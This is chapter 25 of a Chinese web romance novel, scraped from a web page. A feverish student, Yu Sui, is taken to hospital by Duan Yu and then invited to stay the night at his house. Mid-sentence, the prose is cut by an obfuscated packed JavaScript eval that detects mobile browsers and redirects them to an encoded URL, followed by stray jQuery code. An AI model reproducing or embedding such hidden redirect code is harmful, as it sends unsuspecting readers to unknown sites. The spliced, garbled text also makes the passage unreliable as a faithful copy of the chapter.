25. 留宿

作品:《她说

    头顶的空调呼呼往下吹着暖风,余岁的眼角渐渐染上一层困意,她用力眨了下眼,试图让自己清醒些。


    红色的实木桌上放着两张试卷,都是段郁刚刚做的,余岁握着红笔依次在填空题处打了勾,然后翻到试卷的背面。


    段郁这次明显要比上次有进步,一些细节都注意到了。


    余岁有时候不得不承认,段郁足够聪明,甚至有时候还会举一反三,要是把心思全都放在学习上,在高考前冲刺个985也不是没可能。


    余岁淡淡想着,这时段郁走过来,重新坐到她身侧的椅子上,手里还拿着一杯温水。


    段郁把水放到余岁面前,见她脸有些红,问:“要不调个温。”


    都说女孩子没有男孩子耐冷,因此段郁一早就把家里的温度调的很高。


    但没想到余岁是个闷葫芦,热了也不肯说,段郁蹙了下眉,准备起身去拿空调的遥控器,这时余岁突然攥住他的手腕,虽然只是一瞬,但是烫得厉害。


    余岁朝段郁摇了下头,顺便抬眸看了眼墙上的钟表,还剩半个小时今天的补习就结束了,没必要那么麻烦的。


    “余岁,你发烧了。”


    不是疑问,而是陈述。


    段郁嗓音平静,眉心微蹙着,一双黑曜的眼眸紧紧盯着余岁的脸。


    闻言,余岁缓慢地眨了下眼,然后抬起胳膊用手背蹭了下脸。


    好像没有吧,她感受不到温差。


    余岁张了张嘴,刚想说些什么的时候,段郁已经起身离开,然后身后传来一阵窸窸窣窣的响动,不多时就见段郁重新走过来,手里还拿着一根体温计。


    段郁皮糙肉厚,平时若是犯了什么小毛病根本不会就医,全靠自身素质硬扛,因此家里基本没什么药,这根体温计还是之前买什么东西的时候送的。


    段郁伸手将体温计塞到余岁手里,声音很淡:“测一下。”


    余岁看着手里的体温计,抿了下唇,然后乖乖地将体温计塞到腋下。


    房间突然安静下来,只剩空调呼出的风声。


    余岁坐在椅子上,越来越觉得脑袋发胀,最近这几天她确实有点不舒服,一开始只是嗓子不舒服,原本以为是换季过敏,再加上座位靠窗受了冷风,但眼下细细想来,好像段郁和她换座后症状也没减轻。


    七分钟后,余岁取出体温计,一看38.2度。


    段郁的脸当即黑下来:“余岁,自己生病了都不知道吗?”


    段郁的神情算不上好,语气也要更为硬冷,余岁眼眶有点热,也许是生病的人本就脆弱,眼底竟然蓄出一抹水光。


    段郁是害怕她传染给他吗?


    余岁神色有些受伤,当即抬手捂住口鼻,然后向后退了几步。


    段郁看着两人之间能塞下五个胖子的距离,脸一瞬更黑了。


    他没给余岁反应机会,一步跨到她身前,手腕传来一阵冰凉的触感,余岁抬眸诧异地看着段郁的背影,挣扎了几下。


    “去医院。”


    段郁声音很淡,带着不容拒绝的意味。


    余岁抬手去推段郁握着自己的手,她很想说其实没事的,她以前也总是生病,像感冒发烧这种,只要裹着厚被子躺在床上闷出汗就好了,去医院太奢侈了。


    “余岁。”


    段郁突然停下步伐,转身看过来,眉尾挑了下。


    “你得跟我一起去医院,万一你要是真的传染给了我,可是要负责的。”


    余岁一听,心当即凉了半截,睫毛颤了几下,也不再挣扎,算是同意跟段郁一起去医院。


    段郁见余岁这副可怜模样,心不由得酸了下,可余岁太别扭,好听的话对她来说没作用。


    余岁心想她明明都已经答应了,可落在手腕的力道依旧不消半分,段郁的手紧紧箍着她。


    余岁盯着两人交握的地方,不由得咬了下唇,心跳的有些快。


    段郁开车带余岁来到了附近一家比较近的医院。


    最近流行性感冒频发,两人还没进医院大门就闻道了一股刺鼻的消毒水味。下车前,段郁特意递了个口罩给余岁,余岁乖乖戴上才跟着段郁一起进了医院。


    段郁这人最怕麻烦,余岁一直知道,平时冷漠得几乎连话都懒得跟人多说几句,哪怕是和沈旭在一起的时候也都是沈旭一直在旁边说,段郁则偶尔应和几声。


    而现在,段郁自从进了医院便一直忙前忙后。挂号,排队,领着她上下电梯去做各项检查,简直耐心极了。


    余岁的心口不由得动容几分,以前也只有余父和姜母才会这般把她放在心上用心呵护。


    两人并肩站在电梯里,因为出来的急,段郁身上只穿了一件灰色的卫衣,此刻左手抄进裤兜里,透过前面反光的电梯门盯着余岁说:“不就是去验血,你也不用这么胆小。”


    余岁咬唇,微微别开头。


    这会儿的段郁倒是比刚刚好说话多了,他眉头一挑,脸上混吝模样显而易见,轻笑一声,嗓音有点儿懒:


    “你要是实在怕疼,一会儿胳膊给你咬,行么。”


    余岁耳尖一瞬烫的厉害,好在楼层很快到达,她暗自呼了口气,大步出了电梯,结果人还没走远就听身后传来一声轻嗤。


    段郁鼻音很重:“余岁,你往哪边儿走呢?”


    余岁方向感本就很差,刚刚一直想着避开段郁,也就没注意身侧的路标,见再走几步就要进脑科,尴尬的想一头撞墙。


    好在接下来段郁没再调侃她。


    验血处排队的人有点多,两人等了好一会儿才进去。


    采血的是一个三十几岁的女性,她坐在窗口里先是瞟了眼站在余岁边上的段郁,然后才把视线落到坐在对面的余岁身上。


    往常来验血的情侣很多,倒是像段郁这么俊的很少见,哪怕是隔着一层口罩都挡不住浑身散发出的魅力。


    可惜名花有主了,要不然她高低把微信搞来招对方做女婿。


    余岁将袖口挽到肘部,眼睛一瞬不瞬地盯着护士手里拿着的那条针管上,针尖又长又锋利,她完全不敢想当针头扎进皮肤的一瞬是怎样的感觉。


    段郁支在边上,淡淡看了眼护


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196940|164631||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    士,说:“麻烦一会儿轻点,她怕疼。”


    段郁的口气太过稔熟,好像两人不是单单的合作关系,而是一种亲密了很久的情侣。


    余岁耳尖一热,就听护士阿姨笑起来,然后用手掌轻轻拍了拍她的胳膊,一副她懂的样子:“小姑娘,你放心,我手很快的。”


    “哎,小伙儿你过来帮你女朋友拿下棉签棒。”


    余岁刚想伸手自己拿,结果身侧已然落下一道阴影,段郁靠过来,接过了棉签棒。


    清冽熟悉的气息卷进口鼻,原本紧绷的神经一瞬放松下来。


    见针孔对上自己的血管,余岁下意识咬紧牙关,忽而眼前一黑,段郁的手贴过来。


    “别怕。”


    段郁的声音像是镇定剂,余岁一瞬忘了疼,等回过神的时候,血已经采集完毕。


    报告结果得一个小时后才能出来,段郁趁着这点时间,又带着余岁做了一次体检。


    体检报告上的情况不太乐观,说余岁长期营养不良,免疫力还低下,段郁眉头轻蹙了下,难怪余岁瘦得跟个纸片似的。


    最后,余岁被确诊为春季流感,好在病情发现的及时,症状不算严重,因此医生建议先挂个水,再配合着吃药一周看看情况,但最主要的是要提高免疫力。


    余岁挂完水后刚好碰上配药回来的段郁,他手里还拎着一盒小蛋糕。


    “垫垫。”


    余岁没接,而是亮起手机屏幕给他看:“今晚辛苦你了,医药费我晚点给你。”


    这一通下来估计又是一笔不小的费用,前些天林厘才把余岁在书店兼职的工资结了,总共四千块,其中一千换了部手机,一千五在城郊租了间房子,因此留在身上的钱并不多。


    段郁的声音听起来没什么情绪:“先欠着。”


    后面,段郁盯着余岁把蛋糕全吃完才带着人上车,然后一路开回别墅区,等下车的时候,已经接近凌晨,这一遭下来,余岁虽然没出什么力气,但已经精疲力竭,反观段郁,还是那般血气方刚。


    余岁下了车,段郁没让她站在外面等,而是一个人打开后备箱,从上面拎下两大包吃食。


    空零零的冰箱瞬间被塞满,段郁又洗了一盘草莓出来拿到桌上,却见余岁已经把书包背好,一副不多打扰的模样。


    段郁有点不爽,眼皮下压,模样有点凶:“余岁,你能不能有点良心,你知道疲劳驾驶的危害么。”


    余岁知道段郁误会了,于是匆匆在手机屏幕上打字:“我只是想跟你说一声,我先走了,你不用送我的。”


    段郁沉着脸,一语道破余岁的小心思:“外面的那个公交站没有去你家的路线,而且陌生人出入都是要在保卫处登记的,那保安大叔万一见你面生,到时候我还得出去解释。”


    “……”


    余岁拉紧书包带,有一瞬犹豫和无措。


    段郁音调很懒:“不过呢,你现在还有另一个选择。”


    余岁抬眸,眼睛有些亮,似是在问:什么选择?


    段郁唇角翘起,缓缓吐出两个字:“睡这儿。”